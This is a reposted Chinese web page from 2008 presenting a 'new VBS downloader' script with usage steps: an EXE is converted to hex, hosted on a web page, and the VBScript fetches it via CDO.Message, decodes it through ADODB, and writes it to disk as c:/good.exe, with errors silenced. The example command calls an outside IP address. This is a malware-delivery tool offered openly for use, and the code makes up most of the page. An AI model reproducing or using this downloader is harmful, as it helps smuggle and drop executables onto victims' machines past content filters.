您的位置：首页 > 编程语言 > VB

新的VBS下载者代码

2008-09-15 08:03 183 查看

新的VBS下载者代码

2008-09-10 13:12 来源：黑白网络

[字号：大中小 ]

使用方法：
1.exe2hex.vbs 把exe转成十六进制，放到网络上
2.down.vbs http://xxx/demo.htm c:/good.exe

demo.htm内容时用exe2hex.vbs转EXE后获得的

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
’code by NetPatch
’cscript down.vbs http://122.136.32.55/demo.htm c:/good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航